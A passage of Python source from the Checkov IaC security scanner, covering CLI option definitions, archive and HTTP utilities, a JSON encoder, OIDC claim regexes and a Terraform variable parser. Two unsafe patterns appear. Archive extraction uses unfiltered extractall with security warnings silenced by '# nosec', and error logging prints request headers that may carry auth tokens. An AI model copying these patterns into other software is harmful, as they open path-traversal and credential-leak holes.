may be either a Checkov check ID (CKV_AWS_123), a BC " "check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use " "a severity, then any severity equal to or less than the highest severity in the list " "will result in a soft fail. This option may be used with --hard-fail-on, using the same " "priority logic described in --check and --skip-check options above, with --hard-fail-on " "taking precedence in a tie. If a given result does not meet the --soft-fail-on nor " "the --hard-fail-on criteria, then the default is to hard fail", action="append", default=None, ) self.add( "--hard-fail-on", help="Exits with a non-zero exit code for specified checks. Enter one or more items " "separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BC " "check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a " "severity, then any severity equal to or greater than the lowest severity in the list will " "result in a hard fail. This option can be used with --soft-fail-on, using the same " "priority logic described in --check and --skip-check options above, with --hard-fail-on " "taking precedence in a tie.", action="append", default=None, ) self.add( "--bc-api-key", env_var="BC_API_KEY", sanitize=True, help="Bridgecrew API key or Prisma Cloud Access Key (see --prisma-api-url)", ) self.add( "--prisma-api-url", env_var="PRISMA_API_URL", default=None, help="The Prisma Cloud API URL (see: https://prisma.pan.dev/api/cloud/api-urls). " "Requires --bc-api-key to be a Prisma Cloud Access Key in the following format: ::", ) self.add( "--skip-results-upload", action='store_true', help="Do not upload scan results to the platform to view in the console. Results are only available locally. " "If you use the --support flag, logs will still get uploaded.", ) self.add( "--docker-image", "--image", help="Scan docker images by name or ID. Only works with --bc-api-key flag", ) self.add( "--dockerfile-path", help="Path to the Dockerfile of the scanned docker image", ) self.add( "--repo-id", help="Identity string of the repository, with form /. Required when using the platform integration (API key).", ) self.add( "-b", "--branch", help="Selected branch of the persisted repository. Only has effect when using the --bc-api-key flag", default="master", ) self.add( "--skip-download", help="Do not download any data from Prisma Cloud. This will omit doc links, severities, etc., as well as " "custom policies and suppressions if using an API token. Note: it will prevent BC platform IDs from " "being available in Checkov.", action="store_true", ) self.add( "--use-enforcement-rules", action="store_true", help="Use the Enforcement rules configured in the platform for hard / soft fail logic. With this option, " "the enforcement rule matching this repo, or the default rule if there is no match, will determine " "this behavior: any check with a severity below the selected rule's soft-fail threshold will be " "skipped; any check with a severity equal to or greater than the rule's hard-fail threshold will " "be part of the hard-fail list, and any check in between will be part of the soft-fail list. For " "example, if the given enforcement rule has a hard-fail value of HIGH and a soft-fail value of MEDIUM," "this is the equivalent of using the flags `--skip-check LOW --hard-fail-on HIGH`. You can use --check, " "--skip-check, --soft-fail, --soft-fail-on, or --hard-fail-on to override portions of an enforcement rule. " "Note, however, that the logic of applying the --check list and then the --skip-check list (as described " "above under --check) still applies here. Requires a BC or PC platform API key.", ) self.add( "--download-external-modules", help="download external terraform modules from public git repositories and terraform registry", default=None, env_var="DOWNLOAD_EXTERNAL_MODULES", ) self.add( "--var-file", action="append", help="Variable files to load in addition to the default files (see " "https://www.terraform.io/docs/language/values/variables.html#variable-definitions-tfvars-files)." "Currently only supported for source Terraform (.tf file), and Helm chart scans." "Requires using --directory, not --file.", env_var="CKV_VAR_FILE", ) self.add( "--external-modules-download-path", help="set the path for the download external terraform modules", default=DEFAULT_EXTERNAL_MODULES_DIR, env_var="EXTERNAL_MODULES_DIR", ) self.add( "--evaluate-variables", help="evaluate the values of variables and locals", env_var="CKV_EVAL_VARS", default=True, ) self.add( "-ca", "--ca-certificate", help="Custom CA certificate (bundle) file", default=None, env_var="BC_CA_BUNDLE" ) self.add( "--no-cert-verify", action="store_true", help="Skip SSL certificate verification. Use this to bypass errors related to SSL certificates. Warning: " "this should only be used for testing purposes. Skipping certificate verification is dangerous as " "invalid and falsified certificates cannot be detected." ) self.add( "--repo-root-for-plan-enrichment", help="Directory containing the hcl code used to generate a given plan file. Use with -f.", dest="repo_root_for_plan_enrichment", action="append", ) self.add( "--config-file", help="path to the Checkov configuration YAML file", is_config_file=True, default=None, ) self.add( "--create-config", help="takes the current command line args and writes them out to a config file at " "the given path", is_write_out_config_file_arg=True, default=None, ) self.add( "--show-config", help="prints all args and config settings and where they came from " "(eg. commandline, config file, environment variable or default)", action="store_true", default=None, ) self.add( "--create-baseline", help="Alongside outputting the findings, save all results to .checkov.baseline file" " so future runs will not re-flag the same noise. Works only with `--directory` flag", action="store_true", default=False, ) self.add( "--baseline", help="Use a .checkov.baseline file to compare current results with a known baseline. " "Report will include only failed checks that are new with respect to the provided baseline", default=None, ) self.add( "--output-baseline-as-skipped", help="output checks that are skipped due to baseline file presence", action="store_true", default=False, ) self.add( "--skip-cve-package", help="filter scan to run on all packages but a specific package identifier (denylist), You can " "specify this argument multiple times to skip multiple packages", action="append", default=None, ) self.add( "--policy-metadata-filter", help="comma separated key:value string to filter policies based on Prisma Cloud policy metadata. " "When used with --policy-metadata-filter-exception, the exceptions override any policies selected as" "a result of the --policy-metadata-filter flag." "See https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options for " "information on allowed filters. Example: policy.label=label1,policy.label=label2,cloud.type=aws", default=None, env_var="CKV_POLICY_METADATA_FILTER" ) self.add( "--policy-metadata-filter-exception", help="comma separated key:value string to exclude filtered policies based on Prisma Cloud policy metadata. " "When used with --policy-metadata-filter, the exceptions override any policies selected as" "a result of the --policy-metadata-filter flag." "See https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options for " "information on allowed filters. Example: policy.label=label1,policy.label=label2,cloud.type=aws", default=None, env_var="CKV_POLICY_METADATA_FILTER_EXCEPTION" ) self.add( "--secrets-scan-file-type", default=[], env_var="CKV_SECRETS_SCAN_FILE_TYPE", action="append", help="not in use", ) self.add( "--enable-secret-scan-all-files", default=False, env_var="CKV_SECRETS_SCAN_ENABLE_ALL", action="store_true", help="enable secret scan for all files", ) self.add( "--block-list-secret-scan", default=[], env_var="CKV_SECRETS_SCAN_BLOCK_LIST", action="append", help="List of files to filter out from the secret scanner", ) self.add( "--summary-position", default="top", choices=SUMMARY_POSITIONS, help="Chose whether the summary will be appended on top (before the checks results) or on bottom " "(after check results), default is on top.", ) self.add( "--skip-resources-without-violations", help="exclude extra resources (resources without violations) from report output", action="store_true", env_var="CKV_SKIP_RESOURCES_WITHOUT_VIOLATIONS", ) self.add( "--deep-analysis", default=False, action="store_true", help="Combine the TF Plan and TF graphs to make connections not available in either", ) self.add( "--no-fail-on-crash", default=False, env_var="CKV_NO_FAIL_ON_CRASH", action="store_true", help="Return exit code 0 instead of 2", ) self.add( "--mask", action="append", default=[], help="List of : OR only. Each entry in the list will be used for" "masking the desired attribute for resource (or for all resources, if no resource given)." "Notice: one entry can contain several variables, separated with a comma. For example:" ":, OR ," ) self.add( "--scan-secrets-history", action="store_true", default=False, help="will scan the history of commits for secrets" ) self.add( "--secrets-history-timeout", action="store", default='12h', help="maximum time to stop the scan " ) self.add( "--custom-tool-name", default="Checkov", help="Add a tool name if you want your output to be tagged with a specific tool name," "this is useful when integrating with other tools such as uploading SARIF files to github code scanning" ) ================================================ FILE: checkov/common/util/file_utils.py ================================================ from __future__ import annotations import os.path import tarfile import base64 import gzip import io import logging from pathlib import Path from typing import Dict from zipfile import ZipFile from charset_normalizer import from_path from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def convert_to_unix_path(path: str) -> str: return path.replace('\\', '/') def extract_tar_archive(source_path: str, dest_path: str) -> None: with tarfile.open(source_path) as tar: tar.extractall(path=dest_path) # nosec # only trusted source def extract_zip_archive(source_path: str, dest_path: str) -> None: with ZipFile(source_path) as zip: zip.extractall(path=dest_path) # nosec # only trusted source def compress_file_gzip_base64(input_path: str) -> str: try: with open(input_path, 'rb') as json_results_file: data = json_results_file.read() zip_file = gzip.compress(data) # to gzip - return in bytes base64_bytes = base64.b64encode(zip_file) # to base64 base64_string = base64_bytes.decode("utf-8") return base64_string except Exception: logging.exception("failed to open and load results file") raise def decompress_file_gzip_base64(compressed_file_body: str) -> bytes: try: # 1. convert string to bytes # 2. decode base64 data # 3. wrap decoded binary data with BytesIO to enable reading # 4. gunzip compressed data base64_bytes = compressed_file_body.encode("utf-8") decoded_base64 = base64.b64decode(base64_bytes) with gzip.open(io.BytesIO(decoded_base64), 'rb') as file_extracted_body: return file_extracted_body.read() except Exception: logging.exception("failed to extract package file") raise def compress_string_io_tar(string_io: io.StringIO) -> io.BytesIO: file_io = io.BytesIO() str_data = string_io.getvalue().encode('utf8') bio = io.BytesIO(str_data) try: with tarfile.open(fileobj=file_io, mode='w:gz') as tar: info = tar.tarinfo(name='logs_file.txt') bio.seek(0) info.size = string_io.tell() tar.addfile(info, bio) file_io.seek(0) return file_io except Exception: logging.exception("failed to compress logging file") raise def compress_multiple_strings_ios_tar(logs_streams: Dict[str, io.StringIO]) -> io.BytesIO: tar_stream = io.BytesIO() try: with tarfile.open(fileobj=tar_stream, mode='w:gz') as tar: for filename, stringio in logs_streams.items(): bytes_io = io.BytesIO(stringio.getvalue().encode()) tarinfo = tarfile.TarInfo(name=f'{filename}.log') tarinfo.size = len(bytes_io.getvalue()) bytes_io.seek(0) tar.addfile(tarinfo, fileobj=bytes_io) tar_stream.seek(0) return tar_stream except Exception: logging.exception("failed to compress logging file") raise def read_file_safe(file_path: str) -> str: try: with open(file_path, 'r') as f: file_content = f.read() return file_content except Exception: logging.warning( "Could not open file", extra={"file_path": file_path} ) return "" def get_file_size_safe(file_path: str) -> int: try: return os.path.getsize(file_path) except Exception as e: logging.warning( f"Could not obtain file size, {str(e)}", extra={"file_path": file_path} ) return -1 def read_file_with_any_encoding(file_path: str | Path) -> str: """Read the file with the system encoding and then try to detect it""" file_path = file_path if isinstance(file_path, Path) else Path(file_path) try: content = file_path.read_text() except UnicodeDecodeError: logger.info(f"Encoding for file {file_path} is not UTF-8, trying to detect it") content = str(from_path(file_path).best()) return content ================================================ FILE: checkov/common/util/http_utils.py ================================================ from __future__ import annotations import json import ssl import uuid from urllib.parse import urlparse import requests import logging import time import os import aiohttp import asyncio from typing import Any, TYPE_CHECKING, cast, Optional, overload from urllib3.response import HTTPResponse from urllib3.util import parse_url from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.consts import DEV_API_GET_HEADERS, DEV_API_POST_HEADERS, PRISMA_API_GET_HEADERS, \ PRISMA_PLATFORM, BRIDGECREW_PLATFORM from checkov.common.util.data_structures_utils import merge_dicts from checkov.common.util.type_forcers import force_int, force_float from checkov.version import version as checkov_version if TYPE_CHECKING: from checkov.common.bridgecrew.bc_source import SourceType from requests import Response from aiohttp.typedefs import StrOrURL from aiohttp import ClientResponse # https://requests.readthedocs.io/en/latest/user/advanced/#timeouts REQUEST_CONNECT_TIMEOUT = force_float(os.getenv("CHECKOV_REQUEST_CONNECT_TIMEOUT")) or 3.1 REQUEST_READ_TIMEOUT = force_int(os.getenv("CHECKOV_REQUEST_READ_TIMEOUT")) or 30 DEFAULT_TIMEOUT = (REQUEST_CONNECT_TIMEOUT, REQUEST_READ_TIMEOUT) # https://urllib3.readthedocs.io/en/stable/user-guide.html#retrying-requests REQUEST_RETRIES = force_int(os.getenv("CHECKOV_REQUEST_RETRIES")) or 3 logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) @overload def normalize_bc_url(url: None) -> None: ... @overload def normalize_bc_url(url: str) -> str: ... def normalize_bc_url(url: str | None) -> str | None: if not url: return None return url.lower().replace('http:', 'https:').strip().rstrip('/') def normalize_prisma_url(url: str | None) -> str | None: """ Correct common Prisma Cloud API URL misconfigurations """ if not url: return None return url.lower().replace('//app', '//api').replace('http:', 'https:').strip().rstrip('/') def get_auth_error_message(status: int, is_prisma: bool, is_s3_upload: bool) -> str: platform_type = PRISMA_PLATFORM if is_prisma else BRIDGECREW_PLATFORM error_message = f'Received unexpected response from platform (status code {status}). Please verify ' \ f'that your API token is valid and has permissions to call the {platform_type} APIs.' if platform_type == PRISMA_PLATFORM: error_message += 'The key must be associated with a Developer or Sys Admin role / permission group.' elif is_s3_upload: # This part only applies to S3 upload, but not downloading the run config error_message += 'The key must be associated with any role besides Auditor.' return error_message def extract_error_message(response: requests.Response | HTTPResponse) -> Optional[str]: if (isinstance(response, requests.Response) and response.content) or ( isinstance(response, HTTPResponse) and response.data): raw = response.content if isinstance(response, requests.Response) else response.data try: content = json.loads(raw) if 'message' in content: return cast(str, content['message']) elif 'Message' in content: return cast(str, content['Message']) except Exception: logging.debug(f'Failed to parse the response content: {raw.decode()}') return response.reason def get_auth_header(token: str) -> dict[str, str]: return { 'Authorization': token } def get_prisma_auth_header(token: str) -> dict[str, str]: return { 'x-redlock-auth': token } def get_version_headers(client: str, client_version: str | None) -> dict[str, str]: return { 'x-api-client': client, 'x-api-version': client_version or "unknown", 'x-api-checkov-version': checkov_version } def get_user_agent_header() -> dict[str, str]: return {'User-Agent': f'checkov/{checkov_version}'} def get_default_get_headers(client: SourceType, client_version: str | None) -> dict[str, Any]: return merge_dicts(DEV_API_GET_HEADERS, get_version_headers(client.name, client_version), get_user_agent_header()) def get_default_post_headers(client: SourceType, client_version: str | None) -> dict[str, Any]: return merge_dicts(DEV_API_POST_HEADERS, get_version_headers(client.name, client_version), get_user_agent_header()) def get_prisma_get_headers() -> dict[str, str]: return merge_dicts(PRISMA_API_GET_HEADERS, get_user_agent_header()) def valid_url(url: str | None) -> bool: """Checks for a valid URL, otherwise returns False""" if not url: return False try: result = parse_url(url) return all([result.scheme, result.netloc]) except Exception: return False def request_wrapper( method: str, url: str, headers: dict[str, Any], data: Any | None = None, json: dict[str, Any] | None = None, should_call_raise_for_status: bool = False, params: dict[str, Any] | None = None, log_json_body: bool = True ) -> Response: # using of "retry" mechanism for 'requests.request' due to unpredictable 'ConnectionError' and 'HttpError' # instances that appears from time to time. # 'ConnectionError' instances that appeared: # * 'Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'). # * 'Connection aborted.', OSError(107, 'Socket not connected'). # 'HTTPError' instances that appeared: # * 403 Client Error: Forbidden for url. # * 504 Server Error: Gateway Time-out for url. request_max_tries = int(os.getenv('REQUEST_MAX_TRIES', 3)) sleep_between_request_tries = float(os.getenv('SLEEP_BETWEEN_REQUEST_TRIES', 1)) for i in range(request_max_tries): try: headers["X-Request-Id"] = str(uuid.uuid4()) response = requests.request( method=method, url=url, headers=headers, data=data, json=json, params=params, timeout=DEFAULT_TIMEOUT, ) if should_call_raise_for_status: response.raise_for_status() return response except requests.exceptions.ConnectionError as connection_error: logging.error(f"Connection error on request {method}:{url},\ndata:\n{data}\njson:{json if log_json_body else 'Redacted'}\nheaders:{headers}") if i != request_max_tries - 1: sleep_secs = sleep_between_request_tries * (i + 1) logging.info(f"retrying attempt number {i + 2} in {sleep_secs} seconds") time.sleep(sleep_secs) continue logging.exception("request_wrapper connection error") raise connection_error except requests.exceptions.HTTPError as http_error: status_code = 520 # set unknown error, if http_error.response is None if http_error.response is not None: status_code = http_error.response.status_code logging.error(f"HTTP error on request {method}:{url},\ndata:\n{data}\njson:{json if log_json_body else 'Redacted'}\nheaders:{headers}") if (status_code >= 500 or status_code == 403) and i != request_max_tries - 1: sleep_secs = sleep_between_request_tries * (i + 1) logging.info(f"retrying attempt number {i + 2} in {sleep_secs} seconds") time.sleep(sleep_secs) continue logging.error("request_wrapper http error", exc_info=True) raise http_error else: raise Exception("Unexpected behavior: the method \'request_wrapper\' should be terminated inside the above for-" "loop") async def aiohttp_client_session_wrapper( method: str, url: StrOrURL, headers: dict[str, Any], payload: dict[str, Any] | None = None, ) -> ClientResponse: from checkov.common.util import env_vars_config request_max_tries = int(os.getenv('REQUEST_MAX_TRIES', 3)) sleep_between_request_tries = float(os.getenv('SLEEP_BETWEEN_REQUEST_TRIES', 1)) # 1. Read proxy URL (may include user:pass for authentication) proxy_url = env_vars_config.env_vars_config.HTTPS_PROXY proxy_auth = None if proxy_url: parsed_proxy_url = urlparse(proxy_url) if parsed_proxy_url.username and parsed_proxy_url.password: proxy_auth = aiohttp.BasicAuth(login=parsed_proxy_url.username, password=parsed_proxy_url.password) # 2. Read path to custom certificate bundle ca_bundle_path = env_vars_config.env_vars_config.BC_CA_BUNDLE ssl_context = None if ca_bundle_path: logger.info(f"Loading custom CA bundle from: {ca_bundle_path}") # Create a new SSL context ssl_context = ssl.create_default_context(cafile=ca_bundle_path) connector = aiohttp.TCPConnector(resolver=aiohttp.AsyncResolver(), ssl_context=ssl_context) # adding retry mechanism for avoiding the next repeated unexpected issues: # 1. Gateway Timeout from the server # 2. ClientOSError async with aiohttp.ClientSession(connector=connector) as session: for i in range(request_max_tries): logging.info( f"[http_utils](aiohttp_client_session_wrapper) reporting attempt {i + 1} out of {request_max_tries}") try: async with session.request( method=method, url=url, headers=headers, json=payload, proxy=proxy_url, proxy_auth=proxy_auth ) as response: content = await response.text() if response.ok: logging.info(f"[http_utils](aiohttp_client_session_wrapper) - done successfully to url: \'{url}\'") return response elif i != request_max_tries - 1: await asyncio.sleep(sleep_between_request_tries * (i + 1)) continue else: logging.error(f"[http_utils](aiohttp_client_session_wrapper) - Failed to send report to " f"url \'{url}\'") logging.error(f"Status code: {response.status}, Reason: {response.reason}, Content: {content}") return response except aiohttp.ClientOSError: if i != request_max_tries - 1: await asyncio.sleep(sleep_between_request_tries * (i + 1)) continue else: logging.error(f"[http_utils](aiohttp_client_session_wrapper) - ClientOSError when sending report " f"to url: \'{url}\'") raise except Exception as e: logging.error(f"[http_utils](aiohttp_client_session_wrapper) - exception when sending report " f"to url: \'{url}\':\n\'{e}\'") raise else: raise Exception("Unexpected behavior: the method \'aiohttp_client_session_wrapper\' should be terminated " "inside the above for-loop") ================================================ FILE: checkov/common/util/json_utils.py ================================================ import datetime import json from json import JSONDecodeError from typing import Any, Dict from lark import Tree from bc_jsonpath_ng import parse, JSONPath from checkov.common.bridgecrew.severities import Severity from checkov.common.output.common import ImageDetails from checkov.common.packaging.version import LegacyVersion, Version from checkov.common.sast.report_types import MatchMetadata, DataFlow, MatchLocation, Point from detect_secrets.core.potential_secret import PotentialSecret from checkov.common.util.data_structures_utils import pickle_deepcopy type_of_function = type(lambda x: x) class CustomJSONEncoder(json.JSONEncoder): def default(self, o: Any) -> Any: from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey if isinstance(o, set): return list(o) elif isinstance(o, Tree): return str(o) elif isinstance(o, datetime.date): return str(o) elif isinstance(o, (Version, LegacyVersion)): return str(o) elif isinstance(o, Severity): return o.name elif isinstance(o, complex): return str(o) elif isinstance(o, ImageDetails): return o.__dict__ elif isinstance(o, type_of_function): return str(o) elif isinstance(o, TFDefinitionKey): return str(o) elif isinstance(o, TFModule): return dict(o) elif isinstance(o, PotentialSecret): return o.json() elif isinstance(o, MatchMetadata): return o.serialize_model() elif isinstance(o, DataFlow): return o.serialize_model() elif isinstance(o, MatchLocation): return o.serialize_model() elif isinstance(o, Point): return o.serialize_model() else: return json.JSONEncoder.default(self, o) def encode(self, obj: Any) -> str: return super().encode(self._encode(obj)) def _encode(self, obj: Any) -> Any: if isinstance(obj, dict): return {self.encode_key(k): v for k, v in obj.items()} else: return obj @staticmethod def encode_key(key: Any) -> Any: from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey if isinstance(key, TFDefinitionKey): return str(key) if isinstance(key, TFModule): return str(key) if isinstance(key, tuple): return ",".join(key) else: return key def object_hook(dct: Dict[Any, Any]) -> Any: from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey from checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME try: if dct is None: return None if isinstance(dct, dict): dct_obj = pickle_deepcopy(dct) if 'tf_source_modules' in dct and 'file_path' in dct: return TFDefinitionKey(file_path=dct["file_path"], tf_source_modules=object_hook(dct["tf_source_modules"])) if 'path' in dct and 'name' in dct and 'foreach_idx' in dct and 'nested_tf_module' in dct: return TFModule(path=dct['path'], name=dct['name'], foreach_idx=dct['foreach_idx'], nested_tf_module=object_hook(dct['nested_tf_module'])) for key, value in dct.items(): if key == RESOLVED_MODULE_ENTRY_NAME: resolved_classes = [] for resolved_module in dct[RESOLVED_MODULE_ENTRY_NAME]: if isinstance(resolved_module, str): resolved_classes.append(object_hook(json.loads(resolved_module))) dct_obj[RESOLVED_MODULE_ENTRY_NAME] = resolved_classes if isinstance(key, str) and 'tf_source_modules' in key and 'file_path' in key: tf_definition_key = json.loads(key) tf_definition_key_obj = TFDefinitionKey(file_path=tf_definition_key["file_path"], tf_source_modules=object_hook( tf_definition_key["tf_source_modules"])) dct_obj[tf_definition_key_obj] = value del dct_obj[key] return dct_obj return dct except (KeyError, TypeError, JSONDecodeError): return dct def get_jsonpath_from_evaluated_key(evaluated_key: str) -> JSONPath: evaluated_key = evaluated_key.replace("/", ".") return parse(f"$..{evaluated_key}") # type:ignore[no-any-return] ================================================ FILE: checkov/common/util/oidc_utils.py ================================================ import re """ This file provides utility functions for handling OIDC-related operations, particularly for GitHub repositories. Constants: gh_repo_regex (re.Pattern): A regular expression pattern that matches GitHub repository paths. # Matches patterns like: "owner/repo", "${var}/repo", "org.name/repo" # Allows for variable substitution syntax ${} and organization names with dots gh_abusable_claims (list): A list of GitHub OIDC claims that could potentially be abused in security contexts. """ gh_repo_regex = re.compile(r"(\$\{)?[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)*(\})?/[^/]+") gh_abusable_claims = ["workflow", "environment", "ref", "context", "head_ref", "base_ref"] gh_sub_condition = re.compile(r"^token\.actions\.githubusercontent\.com(?:/[a-zA-Z0-9_-]+)?:sub$") ================================================ FILE: checkov/common/util/parser_utils.py ================================================ from __future__ import annotations import json import re from dataclasses import dataclass from enum import Enum from typing import Any, List import hcl2 _FUNCTION_NAME_CHARS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") _ARG_VAR_PATTERN = re.compile(r"[a-zA-Z_]+(\.[a-zA-Z_]+)+") TERRAFORM_NESTED_MODULE_PATH_PREFIX = '([{' TERRAFORM_NESTED_MODULE_PATH_ENDING = '}])' TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR = '#*#' TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH = 3 @dataclass class VarBlockMatch: full_str: str # Example: ${local.foo} var_only: str # Example: local.fop def replace(self, original: str, replaced: str) -> None: self.full_str = self.full_str.replace(original, replaced) self.var_only = self.var_only.replace(original, replaced) def is_simple_var(self) -> bool: """ Indicates whether or not the value of the var block matches a "simple" var pattern. For example: local.blah, var.foo, module.one.a_resource. """ return _ARG_VAR_PATTERN.match(self.var_only) is not None class ParserMode(Enum): # Note: values are just for debugging. EVAL = "${" MAP = "{" STRING_SINGLE_QUOTE = "'" STRING_DOUBLE_QUOTE = '"' PARAMS = "(" ARRAY = "[" BLANK = " " @staticmethod def is_string(mode: "ParserMode") -> bool: return mode == ParserMode.STRING_SINGLE_QUOTE or mode == ParserMode.STRING_DOUBLE_QUOTE def __repr__(self) -> str: return str(self.value) def __str__(self) -> str: return str(self.value) def is_acceptable_module_param(value: Any) -> bool: """ This function determines if a value should be passed to a module as a parameter. We don't want to pass unresolved var, local or module references because they can't be resolved from the module, so they need to be resolved prior to being passed down. """ value_type = type(value) if value_type is dict: for k, v in value.items(): if not is_acceptable_module_param(v) or not is_acceptable_module_param(k): return False return True if value_type is set or value_type is list: for v in value: if not is_acceptable_module_param(v): return False return True if value_type is not str: return True for vbm in find_var_blocks(value): if vbm.is_simple_var(): return False return True def find_var_blocks(value: str) -> List[VarBlockMatch]: """ Find and return all the var blocks within a given string. Order is important and may contain portions of one another. """ if "$" not in value: # not relevant, typically just a normal string value return [] to_return: List[VarBlockMatch] = [] mode_stack: List[ParserMode] = [] eval_start_pos_stack: List[int] = [] # location of first char inside brackets param_start_pos_stack: List[int] = [] # location of open parens preceding_dollar = False preceding_string_escape = False # NOTE: function calls can be nested, but since param args are only being inspected for variables, # it's alright to ignore outer calls. param_arg_start = -1 for index, c in enumerate(value): current_mode = ParserMode.BLANK if not mode_stack else mode_stack[-1] # Print statement of power... # print(f"{str(index).ljust(3, ' ')} {c} {'$' if preceding_dollar else ' '} " # f"{'`' if preceding_string_escape else ' '} " # f"{current_mode.ljust(2)} - {mode_stack}") if c == "$": if preceding_dollar: # ignore double $ preceding_dollar = False continue preceding_dollar = True continue if c == "{" and preceding_dollar: mode_stack.append(ParserMode.EVAL) eval_start_pos_stack.append(index + 1) # next char preceding_dollar = False continue elif c == "\\" and ParserMode.is_string(current_mode): preceding_string_escape = True continue preceding_dollar = False if c == "}": if current_mode == ParserMode.EVAL: mode_stack.pop() start_pos = eval_start_pos_stack.pop() eval_string = value[start_pos:index] to_return.append(VarBlockMatch("${" + eval_string + "}", eval_string)) elif current_mode == ParserMode.MAP: mode_stack.pop() elif c == "]" and current_mode == ParserMode.ARRAY: mode_stack.pop() elif c == ")" and current_mode == ParserMode.PARAMS: if param_arg_start > 0: param_arg = value[param_arg_start:index].strip() if _ARG_VAR_PATTERN.match(param_arg): to_return.append(VarBlockMatch(param_arg, param_arg)) param_arg_start = -1 mode_stack.pop() start_pos = param_start_pos_stack.pop() # See if these params are for a function call. Back up from the index to determine if there's # a function preceding. function_name_start_index = start_pos for function_index in range(start_pos - 1, 0, -1): if value[function_index] in _FUNCTION_NAME_CHARS: function_name_start_index = function_index else: break # We know now there's a function call here. But, don't call it out if it's directly wrapped # in eval markers. in_eval_markers = False if function_name_start_index >= 2: in_eval_markers = ( value[function_name_start_index - 2] == "$" and value[function_name_start_index - 1] == "{" ) if function_name_start_index < start_pos and not in_eval_markers: to_return.append( VarBlockMatch( value[function_name_start_index : index + 1], value[function_name_start_index : index + 1] ) ) elif c == '"': if preceding_string_escape: preceding_string_escape = False continue elif current_mode == ParserMode.STRING_DOUBLE_QUOTE: mode_stack.pop() else: mode_stack.append(ParserMode.STRING_DOUBLE_QUOTE) elif c == "'": if preceding_string_escape: preceding_string_escape = False continue elif current_mode == ParserMode.STRING_SINGLE_QUOTE: mode_stack.pop() else: mode_stack.append(ParserMode.STRING_SINGLE_QUOTE) elif c == "{": # NOTE: Can't be preceded by a dollar sign (that was checked earlier) if not ParserMode.is_string(current_mode): mode_stack.append(ParserMode.MAP) elif c == "[": # do we care? if not ParserMode.is_string(current_mode): mode_stack.append(ParserMode.ARRAY) elif c == "(": # do we care? if not ParserMode.is_string(current_mode): mode_stack.append(ParserMode.PARAMS) param_start_pos_stack.append(index) param_arg_start = index + 1 elif c == ",": if current_mode == ParserMode.PARAMS and param_arg_start > 0: param_arg = value[param_arg_start:index].strip() if _ARG_VAR_PATTERN.match(param_arg): to_return.append(VarBlockMatch(param_arg, param_arg)) param_arg_start = index + 1 elif c == "?" and current_mode == ParserMode.EVAL: # ternary # If what's been processed in the ternary so far is "true" or "false" (boolean or string type) # then nothing special will happen here and only the full expression will be returned. # Anything else will be treated as an unresolved variable block. start_pos = eval_start_pos_stack[-1] # DO NOT pop: there's no separate eval start indicator eval_string = value[start_pos:index].strip() # HACK ALERT: For the cases with the trailing quotes, see: # test_hcl2_load_assumptions.py -> test_weird_ternary_string_clipping if eval_string not in {"true", "false", '"true"', '"false"', 'true"', 'false"'}: # REMINDER: The eval string is not wrapped in a eval markers since they didn't really # appear in the original value. If they're put in, substitution doesn't # work properly. to_return.append(VarBlockMatch(eval_string, eval_string)) preceding_string_escape = False return to_return def split_merge_args(value: str) -> list[str] | None: """ Split arguments of a merge function. For example, "merge(local.one, local.two)" would call this function with a value of "local.one, local.two" which would return ["local.one", "local.two"]. If the value cannot be unpacked, None will be returned. """ if not value: return None # There are a number of splitting scenarios depending on whether variables or # direct maps are used: # merge({tag1="foo"},{tag2="bar"}) # merge({tag1="foo"},local.some_tags) # merge(local.some_tags,{tag2="bar"}) # merge(local.some_tags,local.some_other_tags) # Also, the number of arguments can vary, things can be nested, strings are evil... # See tests/terraform/test_parser_var_blocks.py for many examples. to_return = [] current_arg_buffer = "" processing_str_escape = False inside_collection_stack: List[str] = [] # newest at position 0, contains the terminator for the collection for c in value: if c == "," and not inside_collection_stack: current_arg_buffer = current_arg_buffer.strip() # Note: can get a zero-length buffer when there's a double comma. This can # happen with multi-line args (see parser_internals test) if len(current_arg_buffer) != 0: to_return.append(current_arg_buffer) current_arg_buffer = "" else: current_arg_buffer += c processing_str_escape = _str_parser_loop_collection_helper(c, inside_collection_stack, processing_str_escape) current_arg_buffer = current_arg_buffer.strip() if len(current_arg_buffer) > 0: to_return.append(current_arg_buffer) if len(to_return) == 0: return None return to_return def _str_parser_loop_collection_helper(c: str, inside_collection_stack: List[str], processing_str_escape: bool) -> bool: """ This function handles dealing with tracking when a char-by-char state loop is inside a "collection" (map, array index, method args, string). :param c: Active character :param inside_collection_stack: Stack of terminators for collections. This will be modified by this function. The active terminator will be at position 0. :return: value to set for `processing_str_escape` """ inside_a_string = False if inside_collection_stack: terminator = inside_collection_stack[0] if terminator == '"' or terminator == "'": if processing_str_escape: processing_str_escape = False return processing_str_escape elif c == "\\": processing_str_escape = True return processing_str_escape else: inside_a_string = True if c == terminator: del inside_collection_stack[0] return processing_str_escape if not inside_a_string: if c == '"': inside_collection_stack.insert(0, '"') elif c == "'": inside_collection_stack.insert(0, "'") elif c == "{": inside_collection_stack.insert(0, "}") elif c == "[": inside_collection_stack.insert(0, "]") elif c == "(": inside_collection_stack.insert(0, ")") return processing_str_escape def eval_string(value: str) -> Any: try: value_string = value.replace("'", '"') parsed = hcl2.loads(f"eval = {value_string}\n") # NOTE: newline is needed return parsed["eval"][0] except Exception: return None def string_to_native(value: str) -> Any: try: value_string = value.replace("'", '"') return json.loads(value_string) except Exception: return None def to_string(value: Any) -> str: if value is True: return "true" elif value is False: return "false" return str(value) ================================================ FILE: checkov/common/util/prompt.py ================================================ from 